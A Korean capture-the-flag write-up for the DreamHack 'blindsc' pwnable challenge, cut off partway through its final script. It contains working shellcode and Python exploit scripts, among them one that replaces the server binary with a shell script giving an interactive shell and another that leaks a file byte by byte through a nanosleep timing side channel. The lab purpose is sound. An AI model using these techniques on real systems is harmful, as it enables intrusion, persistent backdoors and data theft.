문제: DreamHack — blindsc 분류: pwnable 난이도: 🥉 Bronze 1 FLAG:
DH{47e176a97b6e3d5b166b87b5282f6dbe8f40061afd2b944730ba1e681700fceb}
문제 설명은 "주어진 바이너리를 분석하여 익스플로잇하고 플래그를 획득하세요" 한 줄이 전부다.
받은 것도 blindsc 바이너리 하나뿐, 소스는 없다.
이름이 사실상 유일한 힌트다. blind shellcode. 쉘코드를 올려 주긴 하는데 결과를 안 보여준다는 뜻이다.
보호 기법부터 본다.
file blindsc && pwn checksec blindsc
보호 기법 목록이 무의미한 문제다. 스택을 넘치게 할 생각이 없고, 바이너리가 알아서 RWX 페이지를 만들어 내 코드를 실행해 주기 때문이다. 문제는 그 다음이다.
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | blindsc |
| 난이도 | 🥉 Bronze 1 |
| 분류 | pwnable |
| 제공 파일 | blindsc (ELF64 PIE, 동적링크, not stripped) — 소스·Dockerfile 없음 |
| 서버 | host3.dreamhack.games:<port> (문제 VM) |
| 보호 기법 | Full RELRO · NX · PIE · 카나리 없음 (전부 이 문제와 무관) |
| 핵심 제약 | 쉘코드는 그대로 실행되는데 stdin/stdout/stderr 가 모두 /dev/null |
| 풀이 기법 | 체류시간 사이드채널 — 플래그 한 바이트를 nanosleep 횟수로 바꿔 읽는다 |
코드 실행은 공짜로 주어지고, 그걸 바깥으로 전달할 방법만 없다. 그래서 이 글의 대부분은 "출구를 어디서 찾느냐"에 대한 이야기다.
🔬 정찰 — main 이 하는 일
main 은 길지만 하는 일은 단순하다. 가운데 0x100바이트를 8바이트씩 복사하는 mov 쌍이
32번 반복돼 있어서 길어 보일 뿐이다.
// objdump 로 읽은 main 을 C 로 옮기면
char buf[0x100]; // .bss 0x4060
int main(void) {
setup(); // stdin/stdout/stderr 무버퍼링
printf("Input shellcode: ");
read(0, buf, 0x100); // 쉘코드 입력 — 최대 256바이트
void *page = mmap(NULL, 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(page, buf, 0x100); // 8바이트 × 32 쌍으로 펼쳐져 있다
puts("Not gonna show you the result!");
int fd = open("/dev/null", O_RDWR);
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
((void (*)(void))page)(); // call rdx
return 0;
}마지막 다섯 줄이 이 문제의 전부다. 쉘코드를 호출하기 직전에 표준 입출력 세 개를
/dev/null 로 덮는다. puts 가 친절하게 "결과는 안 보여준다"고 예고까지 해 준다.
그 구간만 잘라 디스어셈블로 확인한다. 가독성을 위해 치환 규칙 파일을 하나 두고 주석을 얹었다.
s|\(call.*<open@plt>\)|\1 <-- fd = open("/dev/null", O_RDWR)|
s|\(mov esi,0x0\)$|\1 <-- dup2(fd, 0)|
s|\(mov esi,0x1\)$|\1 <-- dup2(fd, 1) 표준출력이 여기서 죽는다|
s|\(mov esi,0x2\)$|\1 <-- dup2(fd, 2)|
s|\(call rdx\)|\1 <-- 입력받은 쉘코드로 점프|
s|\(lea rax,\[rip+0xbb1\].*\)|\1 "/dev/null"|objdump -d --no-show-raw-insn -M intel --start-address=0x1483 --stop-address=0x14d7 blindsc | sed -f annot.sed
정적으로 읽은 게 실행 중에도 맞는지 디버거로 한 번 더 본다. call rdx 에 브레이크포인트를
걸고, 그 순간의 fd 상태를 그대로 뽑는 gdb 스크립트다.
#!/usr/bin/env python3
"""고전 orw 쉘코드(open→read→write(1))를 0x100 바이트로 만들어 파일에 쓴다.
gdb 로 붙여 '이게 정확히 플래그를 읽어 놓고도 /dev/null 에 쓴다'를 보기 위한 것."""
from pwn import asm, context
context.arch = 'amd64'; context.os = 'linux'
sc = asm("""
endbr64
push 0x67616c66 /* "flag" */
mov rdi, rsp
xor esi, esi /* O_RDONLY */
xor edx, edx
push 2
pop rax
syscall /* open */
mov rdi, rax
mov rsi, rsp
sub rsi, 0x400
push 0x40
pop rdx
xor eax, eax
syscall /* read → rax = 길이 */
mov rdx, rax
push 1
pop rdi /* fd 1 */
push 1
pop rax
syscall /* write(1, flag, 길이) */
push 60
pop rax
xor edi, edi
syscall
""")
open('payload_orw.bin', 'wb').write(sc.ljust(0x100, b'\x90'))
print(f"payload_orw.bin — 쉘코드 {len(sc)}바이트 + NOP 패딩 = 0x100")set confirm off
set pagination off
# main 끝의 'call rdx' — 쉘코드로 점프하기 직전
break *(main+615)
run < payload_orw.bin
printf "\n===== call rdx 직전: 이제 막 쉘코드로 뛴다 =====\n"
x/3i $pc
printf "\n----- rdx = mmap 으로 잡은 RWX 페이지 -----\n"
x/6i $rdx
printf "\n----- 이 순간 프로세스의 fd 상태 -----\n"
python
import gdb
pid = gdb.selected_inferior().pid
gdb.execute("shell ls -l /proc/%d/fd" % pid)
end
continuepython3 mkpayload.py && gdb -q -batch -x verify.gdb ./blindsc
내 쉘코드는 RWX 페이지에 멀쩡히 올라와 있고, 그 순간 fd 0·1·2 는 전부 /dev/null 이다.
open 이 돌려받은 fd 3 도 같은 /dev/null 이라 네 개가 전부 같은 곳을 본다.
💣 막힌 건 코드 실행이 아니라 출구
여기서 한 번 짚고 가야 한다. 쉘코드가 안 도는 걸까, 말을 못 하는 걸까.
둘은 전혀 다른 문제다. 전자면 실행 자체를 되살려야 하고, 후자면 출구만 찾으면 된다. 소켓으로는 아무것도 안 오니 구별이 안 된다. 그래서 출력 대신 파일로 흔적을 남겨 봤다.
실험하려면 서버가 필요한데, 라이브 VM 을 켜 놓고 찔러 보는 건 크레딧 낭비다. 드림핵 pwnable 배포본은 모양이 거의 같아서, 예전에 받아 둔 챌린지 Dockerfile 들을 뒤져 가장 흔한 템플릿을 그대로 복제했다.
# 드림핵 pwnable 배포 템플릿을 그대로 복제한 것.
# (내가 과거에 받은 챌린지 Dockerfile 186개 중 다수가 이 모양이다)
FROM ubuntu:22.04@sha256:67211c14fa74f070d27cc59d69a7fa9aeff8e28ea118ef3babc295a0428a6d21
ENV user blindsc
ENV chall_port 7182
RUN apt-get update && apt-get -y install socat && rm -rf /var/lib/apt/lists/*
RUN adduser --disabled-password --gecos "" $user
ADD ./flag /home/$user/flag
ADD ./$user /home/$user/$user
RUN chown root:$user /home/$user/flag && chown root:$user /home/$user/$user
RUN chmod 755 /home/$user/$user && chmod 440 /home/$user/flag
WORKDIR /home/$user
USER $user
EXPOSE $chall_port
CMD while :; do socat -T 30 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user ; donedocker build -t blindsc-repro repro && docker run -d --name blindsc-vuln -p 127.0.0.1:7182:7182 blindsc-repro이 복제본에 던진 쉘코드는 고전 orw 와 똑같이 open("flag") → read 까지 가고,
마지막 write 만 fd 1 대신 컨테이너 안 파일로 돌린다.
▸📄 orw_to_file.py — 플래그를 소켓 대신 파일로 쓰는 쉘코드 (전문)
#!/usr/bin/env python3
"""쉘코드가 '안 도는' 게 아니라 '말을 못 하는' 것임을 증명한다.
고전 orw 와 똑같이 open("flag")+read 를 하되, 마지막 write 만 fd 1 대신
컨테이너 안 파일(proof)로 돌린다. 소켓으로는 여전히 아무것도 안 오지만
컨테이너 안에는 플래그가 적힌 파일이 생긴다.
"""
import socket
import subprocess
import sys
import time
from pwn import asm, context
context.arch = 'amd64'
context.os = 'linux'
sc = asm("""
endbr64
push 0x67616c66 /* "flag" */
mov rdi, rsp
xor esi, esi
xor edx, edx
push 2
pop rax
syscall /* open("flag", O_RDONLY) */
mov rdi, rax
mov rsi, rsp
sub rsi, 0x400
push 0x40
pop rdx
xor eax, eax
syscall /* read → rsi=버퍼, rax=길이 */
mov r14, rsi
mov r15, rax
mov rax, 0x666f6f7270 /* "proof" */
push rax
mov rdi, rsp
mov esi, 0x241 /* O_WRONLY|O_CREAT|O_TRUNC */
mov edx, 0x1a4 /* 0644 */
push 2
pop rax
syscall /* open("proof", ...) */
mov rdi, rax
mov rsi, r14
mov rdx, r15
push 1
pop rax
syscall /* write(proof, flag) */
push 60
pop rax
xor edi, edi
syscall
""")
host, port = sys.argv[1], int(sys.argv[2])
s = socket.create_connection((host, port), timeout=10)
s.settimeout(3)
s.sendall(sc.ljust(0x100, b'\x90'))
out = b''
try:
while True:
c = s.recv(4096)
if not c:
break
out += c
except socket.timeout:
pass
s.close()
print(f"쉘코드 {len(sc)}바이트 전송 — 소켓으로 돌아온 것: {out!r}")
# 쉘코드는 우리 연결이 끊긴 뒤에도 잠깐 더 돈다. 다 쓸 때까지 기다렸다 본다.
time.sleep(0.5)
print("컨테이너 안을 들여다보면:")
subprocess.run(['docker', 'exec', 'blindsc-vuln',
'sh', '-c', 'ls -l proof && echo "proof 내용: $(cat proof)"'])python3 orw_to_file.py 127.0.0.1 7182
소켓은 조용한데 컨테이너 안에는 플래그가 적힌 파일이 생겼다. 쉘코드는 돌고, open 도
read 도 되고, 플래그는 이미 메모리에 있다. 내보낼 구멍만 없다.
🐛 삽질 — 출구를 찾아 세 방향
▶🐛 삽질 1 — /dev/tty 와 /dev/pts 로 새어나가지 않을까
dup2 는 fd 번호만 갈아끼운다. 터미널 장치 자체가 살아 있다면 경로로 다시 열면 된다.
socat 을 pty 옵션으로 띄우면 자식의 0·1·2 는 /dev/pts/N 이고, 그 경로는 이름이 있다.
그래서 두 가지를 같이 던졌다. 제어 터미널을 노리는 open("/dev/tty", O_WRONLY),
그리고 슬레이브 장치를 0번부터 9번까지 훑는 쪽.
둘 다 조용했다. 복제본은 pty 없는 평문 EXEC: 라 제어 터미널 자체가 없고,
실서버에서도 결과는 같았다(아래 탐침 캡쳐의 B·C).
▶🐛 삽질 2 — 복제본에는 타이밍 채널조차 없었다
출력이 안 되면 체류시간이라도 재면 된다고 생각했다. 쉘코드를 3초 재우고 연결이 언제 끊기는지 보면 1비트는 나온다.
그런데 복제본에서는 네 탐침이 전부 0.00초였다. 쉘코드가 3초를 자든 말든 연결은
dup2 가 끝나는 순간 끊겼다.
이유는 socat 의 동작에 있다. 평문 EXEC: + fork 모드에서 자식의 fd 0·1 은
socat 이 만든 소켓페어이고, dup2 가 그 마지막 참조를 닫으면 socat 쪽은 EOF 를 본다.
그러면 socat 은 relay 를 접고 자식에게 SIGTERM 을 보낸다.
추측으로 두기 싫어서 쉘코드 두 개로 갈랐다. 차이는 SIGTERM 을 무시하느냐 하나뿐이다.
#!/usr/bin/env python3
"""복제본에서 '쉘코드가 왜 중간에 잘리는가'를 가른 실험.
dup2 가 socat 과 이어진 마지막 fd 를 닫으면 socat 은 relay 를 접으면서
자식에게 SIGTERM 을 보낸다. 그래서 execve 처럼 조금이라도 느린 작업은
시작도 못 하고 죽는다. 두 쉘코드의 차이는 SIGTERM 을 무시하느냐 뿐이다.
X) 그냥 1초 기다렸다가 마커 파일 생성 → 마커가 없으면 중간에 죽은 것
Y) SIGTERM 을 SIG_IGN 한 뒤 똑같이 → 마커가 생기면 가설 확정
"""
import socket
import subprocess
import time
from pwn import asm, context
context.arch = 'amd64'
context.os = 'linux'
IGN_TERM = """
push 0 /* sa_mask */
push 0 /* sa_restorer */
push 0 /* sa_flags */
push 1 /* sa_handler = SIG_IGN */
mov rsi, rsp
push 15
pop rdi /* SIGTERM */
xor edx, edx
push 8
pop r10
push 13
pop rax /* SYS_rt_sigaction */
syscall
add rsp, 0x20
"""
SLEEP_1S = """
push 0
push 500000000
push 0
mov rdi, rsp
xor esi, esi
push 35
pop rax
syscall
add rsp, 0x18
push 0
push 500000000
push 0
mov rdi, rsp
xor esi, esi
push 35
pop rax
syscall
add rsp, 0x18
"""
def sleep_then_mark(path, ignore_term):
v = int.from_bytes(path.encode().ljust(8, b'\x00'), 'little')
return asm(" endbr64\n" + (IGN_TERM if ignore_term else "") + SLEEP_1S + f"""
mov rax, {hex(v)}
push rax
mov rdi, rsp
mov esi, 0x1a4
push 85
pop rax /* SYS_creat */
syscall
push 60
pop rax
xor edi, edi
syscall
""")
for label, sc in [("X) 생짜로 1초 대기 ", sleep_then_mark('/tmp/rX', False)),
("Y) SIGTERM 무시 후 1초 대기", sleep_then_mark('/tmp/rY', True))]:
s = socket.create_connection(('127.0.0.1', 7182), timeout=10)
s.settimeout(2.0)
s.sendall(sc.ljust(0x100, b'\x90'))
try:
while s.recv(4096):
pass
except socket.timeout:
pass
s.close()
print(f" {label} 쉘코드 {len(sc):3d}B 전송")
time.sleep(2.0)
print("\n컨테이너 안 마커 확인:")
subprocess.run(['docker', 'exec', 'blindsc-vuln', 'sh', '-c',
'for f in /tmp/rX /tmp/rY; do [ -e $f ] && echo " $f 있음 (1초를 살아남았다)" '
'|| echo " $f 없음 (중간에 죽었다)"; done'])python3 sigterm_test.py
확정이다. 복제본에서 느린 작업이 전부 잘려 나간 건 SIGTERM 때문이었다.
이게 한참 전에 겪은 이상한 증상도 설명해 준다. execve("/bin/sh", ...) 쉘코드를
파이프로 먹이면 멀쩡히 도는데 소켓으로 던지면 아무 일도 안 일어났었다.
creat 같은 단발 syscall 은 마이크로초 단위라 SIGTERM 보다 빨랐고,
execve 는 새 프로그램을 띄우는 동안 신호를 맞아 죽은 것이다.
▶🐛 삽질 3 — 바이너리를 바꿔치기: 복제본에선 셸까지 땄다
이번 연결로 못 꺼낸다면 다음 연결을 출구로 쓰면 된다.
배포 템플릿은 adduser 로 만든 홈을 그 계정 소유로 두고, 바이너리만 root:user 755 로
넣는다. 그런데 파일을 지울 권한은 파일이 아니라 디렉토리에 달려 있다. 홈이 내 것이면
root 소유 바이너리도 unlink 할 수 있다.
서버는 while :; do socat ... EXEC:/home/<user>/<user>; done 로 매 연결마다 그 경로를
새로 exec 한다. 같은 이름으로 쉘 스크립트를 심어 두면 다음 연결은 내 스크립트가 받고,
그 시점의 stdout 은 아직 /dev/null 이 아니라 소켓이다.
계정 이름을 모르니 경로는 readlink("/proc/self/exe") 로 알아냈다. 삽질 2 에서 배운
대로 SIGTERM 부터 무시하고 시작한다.
#!/usr/bin/env python3
"""blindsc (DreamHack Bronze 1, pwnable) — 출력이 막힌 쉘코드로 플래그 꺼내기.
문제 구조
---------
main 은 입력받은 0x100 바이트를 RWX 페이지로 복사해 그대로 호출해 준다.
그런데 호출 직전에
fd = open("/dev/null", O_RDWR);
dup2(fd, 0); dup2(fd, 1); dup2(fd, 2);
를 해 버린다. 그래서 고전적인 orw 쉘코드(open→read→write(1))는 플래그를 정확히
읽어 놓고도 /dev/null 에 쏟는다. 게다가 드림핵 배포본은
while :; do socat -T 30 TCP-LISTEN:$port,reuseaddr,fork EXEC:/home/$user/$user ; done
이라서, dup2 가 socat 과 이어진 마지막 fd 를 닫는 순간 socat 은 relay 를 접고
자식에게 SIGTERM 을 보낸다 — 연결은 즉시 끊기고 프로세스도 곧 죽는다.
즉 '이번 연결'에는 출구가 없다(타이밍 채널조차 없다).
착안
----
배포 템플릿은 `adduser` 로 만든 홈(/home/<user>)을 그 계정 소유로 두고,
바이너리만 root:user 755 로 넣는다. 파일을 지울 권한은 파일이 아니라
**디렉토리**에 달려 있으므로, 우리는 root 소유 바이너리를 unlink 할 수 있다.
서버는 매 연결마다 그 경로를 새로 exec 하니, 같은 이름으로 쉘 스크립트를 심어 두면
**다음 연결**이 우리 스크립트를 실행한다. 그 시점의 stdout 은 아직 /dev/null 이
아니라 소켓이다.
그래서 쉘코드는 이것만 한다.
1) rt_sigaction(SIGTERM, SIG_IGN) — socat 이 쏘는 신호를 무시해 시간을 번다
2) readlink("/proc/self/exe") — 계정명·바이너리 이름을 몰라도 내 경로를 안다
3) unlink(그 경로)
4) open(같은 경로, O_CREAT, 0755) + write(쉘 스크립트)
사용법:
python3 solve.py host3.dreamhack.games 18419
"""
import argparse
import re
import socket
import sys
import time
from pwn import asm, context
context.arch = 'amd64'
context.os = 'linux'
MAXLEN = 0x100 # main 이 buf → mmap 페이지로 복사하는 바이트 수
# 바이너리 자리에 심을 스크립트. 다음 연결의 stdout 은 소켓이므로 그대로 쏟아진다.
# $0 는 socat 이 exec 한 경로이므로, ${0%/*} 로 제 디렉토리를 찾아간다.
SCRIPT = (b"#!/bin/sh\n"
b"cd ${0%/*} 2>/dev/null; cat flag\n"
b"exec /bin/sh -i 2>&1\n")
# socat 이 relay 를 접으며 보내는 SIGTERM 을 무시한다.
# (이걸 안 하면 execve 같은 '느린' 작업은 전부 중간에 잘린다)
IGNORE_SIGTERM = """
push 0 /* sa_mask */
push 0 /* sa_restorer */
push 0 /* sa_flags */
push 1 /* sa_handler = SIG_IGN */
mov rsi, rsp
push 15
pop rdi /* SIGTERM */
xor edx, edx /* oldact = NULL */
push 8
pop r10 /* sigsetsize */
push 13
pop rax /* SYS_rt_sigaction */
syscall
add rsp, 0x20
"""
def build_shellcode(script: bytes = SCRIPT) -> bytes:
sc = asm(" endbr64\n" + IGNORE_SIGTERM + f"""
sub rsp, 0x200
mov rbp, rsp /* 경로 버퍼 */
lea rdi, [rip + p_exe]
mov rsi, rbp
push 0x100
pop rdx
push 89
pop rax /* SYS_readlink */
syscall
test eax, eax
js fin
mov byte ptr [rbp + rax], 0 /* readlink 는 NUL 을 안 붙인다 */
mov rdi, rbp
push 87
pop rax /* SYS_unlink — 디렉토리 쓰기권한으로 root 파일도 지운다 */
syscall
mov rdi, rbp
mov esi, 0x241 /* O_WRONLY|O_CREAT|O_TRUNC */
mov edx, 0x1ed /* 0755 */
push 2
pop rax /* SYS_open */
syscall
mov rdi, rax
lea rsi, [rip + p_script]
push {len(script)}
pop rdx
push 1
pop rax /* SYS_write */
syscall
fin:
push 60
pop rax /* SYS_exit */
xor edi, edi
syscall
p_exe:
.ascii "/proc/self/exe\\0"
p_script:
""" + "".join(f" .byte {b}\n" for b in script))
if len(sc) > MAXLEN:
sys.exit(f"[-] 쉘코드 {len(sc)}바이트 — 0x100 한도 초과")
return sc
BANNERS = (b'Input shellcode: \n', b'Not gonna show you the result!\n')
def shot(host, port, payload: bytes, read_for=2.0, send_after=None):
s = socket.create_connection((host, port), timeout=10)
s.settimeout(read_for)
s.sendall(payload.ljust(MAXLEN, b'\x90') if payload else b'')
if send_after:
time.sleep(0.5)
s.sendall(send_after)
out = b''
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
out += chunk
except socket.timeout:
pass
s.close()
return out
def main():
ap = argparse.ArgumentParser()
ap.add_argument('host')
ap.add_argument('port', type=int)
args = ap.parse_args()
sc = build_shellcode()
print(f"[*] 1단계 — 쉘코드 {len(sc)}바이트(한도 {MAXLEN}): 바이너리를 스크립트로 바꿔치기")
out = shot(args.host, args.port, sc)
for b in BANNERS:
out = out.replace(b, b'')
print(f" 이 연결에서 돌아온 것: {out!r} ← 비어 있는 게 정상이다")
time.sleep(1.0)
print("[*] 2단계 — 다시 붙는다. socat 이 exec 하는 건 이제 우리 스크립트다")
out = shot(args.host, args.port, b'', read_for=3.0,
send_after=b'id; ls -la; cat flag\n')
text = out.decode(errors='replace')
print('--- 수신 전문 ---')
print(text.rstrip())
print('-----------------')
m = re.search(r'DH\{[^}\n]*\}', text)
if m:
print(f"[+] FLAG = {m.group(0)}")
return 0
print("[-] 플래그를 못 찾았다")
return 1
if __name__ == '__main__':
sys.exit(main())python3 solve.py 127.0.0.1 7182
복제본에서는 플래그에 더해 대화형 셸까지 잡혔다. 그런데 실서버에서는 이게 안 먹었다. 이유는 아래 "오라클로 환경 읽기"에서 같은 사이드채널로 직접 확인했다.
🎯 핵심 — 실서버에는 '언제 끝나는가'가 남아 있다
복제본에서 막혔던 타이밍을 실서버에서 다시 재 봤다. 네 가지 출구 후보를 한 번에 던지는 탐침이다.
▸📄 probe_remote.py — 출구 채널 네 가지를 한 번에 찔러 보는 탐침 (전문)
#!/usr/bin/env python3
"""blindsc — 쉘코드가 플래그를 꺼낼 '출구'가 하나라도 있는지 네 가지로 찔러 본다.
A) write(1, flag) — 고전 orw. fd 1 이 /dev/null 이라 허공으로 간다
B) /dev/tty 로 write — 제어 터미널이 남아 있다면 거기로 샐 수 있다
C) /dev/pts/0~9 로 write — socat 이 pty 로 띄웠다면 슬레이브 경로가 살아 있다
D) 3초 머물다 종료 — 출력이 아니라 '체류시간'이 관측되는지 본다
각 연결에서 (배너 외 수신 바이트, 연결이 끊기기까지 걸린 시간) 을 찍는다.
"""
import socket
import sys
import time
from pwn import asm, context
context.arch = 'amd64'
context.os = 'linux'
OPEN_READ = """
push 0x67616c66 /* "flag" */
mov rdi, rsp
xor esi, esi
xor edx, edx
push 2
pop rax
syscall /* open("flag", O_RDONLY) */
mov rdi, rax
mov rsi, rsp
sub rsi, 0x400
push 0x40
pop rdx
xor eax, eax
syscall /* read → rsi=버퍼, rax=길이 */
"""
EXIT = """
push 60
pop rax
xor edi, edi
syscall
"""
A_WRITE1 = asm(" endbr64\n" + OPEN_READ + """
mov rdx, rax
push 1
pop rdi /* fd 1 */
push 1
pop rax
syscall
""" + EXIT)
B_DEVTTY = asm(" endbr64\n" + OPEN_READ + """
mov r14, rsi
mov r15, rax
mov rax, 0x7974742f7665642f /* "/dev/tty" */
push 0
push rax
mov rdi, rsp
push 1
pop rsi /* O_WRONLY */
xor edx, edx
push 2
pop rax
syscall
mov rdi, rax
mov rsi, r14
mov rdx, r15
push 1
pop rax
syscall
""" + EXIT)
C_DEVPTS = asm(" endbr64\n" + OPEN_READ + """
mov r14, rsi
mov r15, rax
sub rsp, 0x40
mov rbp, rsp
mov rax, 0x7374702f7665642f /* "/dev/pts" */
mov qword ptr [rbp], rax
mov dword ptr [rbp+8], 0x302f /* "/0" + NUL */
mov r12b, 0x30
pts_loop:
mov byte ptr [rbp+9], r12b
mov rdi, rbp
push 1
pop rsi
xor edx, edx
push 2
pop rax
syscall
test eax, eax
js pts_next
mov rdi, rax
mov rsi, r14
mov rdx, r15
push 1
pop rax
syscall
pts_next:
inc r12b
cmp r12b, 0x39
jbe pts_loop
""" + EXIT)
D_STAY = asm(" endbr64\n mov ebx, 100\n" + """
loop:
push 0
push 30000000 /* 30ms */
push 0
mov rdi, rsp
xor esi, esi
push 35
pop rax /* SYS_nanosleep */
syscall
add rsp, 0x18
dec ebx
jnz loop
""" + EXIT)
BANNERS = (b'Input shellcode: \n', b'Not gonna show you the result!\n')
def shot(host, port, sc, label, wait=8.0):
s = socket.create_connection((host, port), timeout=10)
s.settimeout(wait)
s.sendall(sc.ljust(0x100, b'\x90'))
t0 = time.time()
out = b''
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
out += chunk
except socket.timeout:
out += b'<timeout>'
dt = time.time() - t0
s.close()
for b in BANNERS:
out = out.replace(b, b'')
print(f" {label:26s} 쉘코드 {len(sc):3d}B | 연결유지 {dt:5.2f}s | 배너외수신 {out!r}")
return dt
host, port = sys.argv[1], int(sys.argv[2])
print(f"=== {host}:{port} 출구 채널 탐침 ===")
shot(host, port, A_WRITE1, "A) write(1, flag)")
shot(host, port, B_DEVTTY, "B) /dev/tty 로 write")
shot(host, port, C_DEVPTS, "C) /dev/pts/0~9 로 write")
shot(host, port, D_STAY, "D) 3초 머물다 종료")python3 probe_remote.py host3.dreamhack.games 11905
A·B·C 는 복제본과 똑같이 전멸이다. 그런데 D 가 3.07초다.
실서버는 복제본과 달리 쉘코드가 도는 동안 TCP 연결을 붙잡고 있다. 출력은 여전히 0바이트지만, "프로세스가 몇 초 뒤에 끝났는가"는 밖에서 잴 수 있다. 축이 하나 생겼다.
그러면 플래그 한 바이트를 그 축에 실으면 된다.
; n = flag[i] - 0x20 (출력 가능 문자를 0 기준으로 당긴다)
movzx ebx, byte ptr [rsi + i]
sub ebx, 0x20
js done
loop:
; nanosleep(30ms) 를 n 번
push 0
push 30000000
push 0
mov rdi, rsp
xor esi, esi
push 35
pop rax
syscall
add rsp, 0x18
dec ebx
jnz loop
done:
; exit → 이 시점에 연결이 끊긴다nanosleep 을 한 번에 큰 값으로 주지 않고 30ms 씩 n 번 반복한 이유는 단순하다.
tv_nsec 은 10억 미만이어야 해서 큰 값은 초·나노초로 쪼개야 하는데, 반복문이 더 짧다.
측정값을 글자로 되돌리려면 기준 두 개가 필요하다. 접속·배너·mmap 까지 걸리는 기본지연과,
nanosleep 한 번의 실제 단위시간이다. 둘 다 값이 고정된 쉘코드로 먼저 잰다.
n=0 과 n=90 을 던지면 기본지연은 전자, 단위시간은 둘의 차이를 90으로 나눈 값이다.
실측으로 기본지연 4048ms, 단위 30.230.3ms 가 나왔다. nanosleep 한 번이
요청한 30ms 보다 0.3ms 쯤 더 자는데, 90번 반복이면 그 오차가 한 단위 가까이 쌓인다.
그래서 30ms 를 상수로 쓰지 않고 매번 보정해서 쓴다.
길이도 같은 방식으로 흘렸다. read() 의 반환값을 그대로 재우면 파일 크기가 나온다 — 68바이트였다.
🚀 Full Exploit
보정 → 길이 → 바이트 68개 → 검산 순서로 도는 스크립트다.
#!/usr/bin/env python3
"""blindsc (DreamHack Bronze 1, pwnable) — 체류시간 한 축으로 플래그를 빼낸다.
main 은 입력받은 0x100 바이트를 RWX 페이지에 복사해 호출해 주지만, 그 직전에
fd = open("/dev/null", O_RDWR); dup2(fd,0); dup2(fd,1); dup2(fd,2);
를 해서 표준 입출력 세 개를 모두 /dev/null 로 돌린다. 그래서 고전 orw 쉘코드는
플래그를 정확히 읽어 놓고도 /dev/null 에 쏟는다("Not gonna show you the result!").
남은 관측 가능한 축은 **프로세스가 언제 끝나는가** 하나다. 드림핵 서버는
쉘코드가 도는 동안 TCP 연결을 붙잡고 있으므로, 연결이 끊기는 시각을 재면
쉘코드가 얼마나 머물렀는지 알 수 있다. 그래서 쉘코드를 이렇게 만든다.
n = flag[i] - 0x20
nanosleep(30ms) × n → exit
단위시간과 기본지연은 값이 고정된 보정용 쉘코드 두 개로 먼저 재고,
경계에 걸린 측정값은 여러 번 재서 최솟값을 쓴다(지터는 항상 '더 느리게' 만든다).
마지막으로 후보 전체를 비교해 일치할 때만 길게 머무는 쉘코드로 검산한다.
사용법:
python3 leak.py host3.dreamhack.games 11905
python3 leak.py host3.dreamhack.games 11905 --start 39 --prefix 'DH{...}'
"""
import argparse
import socket
import sys
import time
from pwn import asm, context
context.arch = 'amd64'
context.os = 'linux'
MAXLEN = 0x100 # main 이 buf → mmap 페이지로 복사하는 바이트 수
READLEN = 0x100 # 쉘코드가 flag 파일에서 한 번에 읽는 양
UNIT_MS = 30 # 한 단위 체류시간
BIAS = 0x20 # 출력 가능 문자 기준점
OPEN_READ = f"""
push 0x67616c66 /* "flag" — imm32 가 부호확장돼 뒤가 NUL */
mov rdi, rsp
xor esi, esi /* O_RDONLY */
xor edx, edx
push 2
pop rax
syscall /* open("flag", O_RDONLY) */
mov rdi, rax
mov rsi, rsp
sub rsi, 0x400 /* 스택 아래쪽을 버퍼로 */
mov edx, {READLEN}
xor eax, eax
syscall /* read(fd, buf, READLEN) → rax=길이 */
"""
EXIT = """
push 60
pop rax
xor edi, edi
syscall
"""
SLEEP_EBX = f"""
test ebx, ebx
jz done
loop:
push 0
push {UNIT_MS * 1000 * 1000}
push 0
mov rdi, rsp
xor esi, esi
push 35
pop rax /* SYS_nanosleep */
syscall
add rsp, 0x18
dec ebx
jnz loop
done:
"""
def sc_fixed(n):
"""보정용 — 파일을 읽지 않고 정해진 횟수만 머문다."""
return asm(f" endbr64\n mov ebx, {n}\n" + SLEEP_EBX + EXIT)
def sc_len():
"""read() 반환값(= 플래그 파일 길이)만큼 머문다."""
return asm(" endbr64\n" + OPEN_READ + " mov ebx, eax\n" + SLEEP_EBX + EXIT)
def sc_byte(idx):
"""flag[idx] - 0x20 만큼 머문다."""
return asm(" endbr64\n" + OPEN_READ + f"""
movzx ebx, byte ptr [rsi + {idx}]
sub ebx, {BIAS}
js done
""" + SLEEP_EBX + EXIT)
def sc_verify(cand: bytes, units=90):
"""후보 전체가 파일 내용과 같을 때만 길게 머문다 — 제출 전 검산."""
sc = asm(" endbr64\n" + OPEN_READ + f"""
lea rdi, [rip + cand]
xor edx, edx
cmp_loop:
mov al, byte ptr [rsi + rdx]
cmp al, byte ptr [rdi + rdx]
jne done
inc edx
cmp edx, {len(cand)}
jb cmp_loop
mov ebx, {units}
""" + SLEEP_EBX + EXIT + """
cand:
""" + "".join(f" .byte {b}\n" for b in cand))
if len(sc) > MAXLEN:
sys.exit(f"[-] 검산 쉘코드 {len(sc)}바이트 — 0x100 초과(후보가 너무 길다)")
return sc
def measure(host, port, sc, wait=15.0):
"""쉘코드를 던지고 연결이 끊기까지 걸린 시간(초)."""
s = socket.create_connection((host, port), timeout=10)
s.settimeout(wait)
s.sendall(sc.ljust(MAXLEN, b'\x90'))
t0 = time.time()
try:
while s.recv(4096):
pass
except socket.timeout:
s.close()
return None
dt = time.time() - t0
s.close()
return dt
class Oracle:
"""보정값을 들고 '체류시간 → n' 변환을 담당한다."""
def __init__(self, host, port):
self.host, self.port = host, port
self.base = measure(host, port, sc_fixed(0))
time.sleep(0.2)
t90 = measure(host, port, sc_fixed(90))
self.unit = (t90 - self.base) / 90
print(f"[*] 보정: 기본지연 {self.base*1000:.1f}ms, "
f"단위 {self.unit*1000:.2f}ms (n=90 일 때 {t90*1000:.1f}ms)")
def n_of(self, sc, retries=3):
"""경계에 걸리면 다시 재고 최솟값을 쓴다 — 지터는 늘 더 느리게 만든다."""
best = None
for attempt in range(retries):
dt = measure(self.host, self.port, sc)
time.sleep(0.15)
if dt is None: # 한도보다 오래 머물렀다(값이 너무 큼)
continue
best = dt if best is None else min(best, dt)
raw = (best - self.base) / self.unit
if abs(raw - round(raw)) < 0.25: # 충분히 또렷하면 그만 잰다
return int(round(raw)), best, attempt + 1
if best is None:
return None, None, retries
raw = (best - self.base) / self.unit
return int(round(raw)), best, retries
def main():
ap = argparse.ArgumentParser()
ap.add_argument('host')
ap.add_argument('port', type=int)
ap.add_argument('--start', type=int, default=0, help='이어서 셀 시작 인덱스')
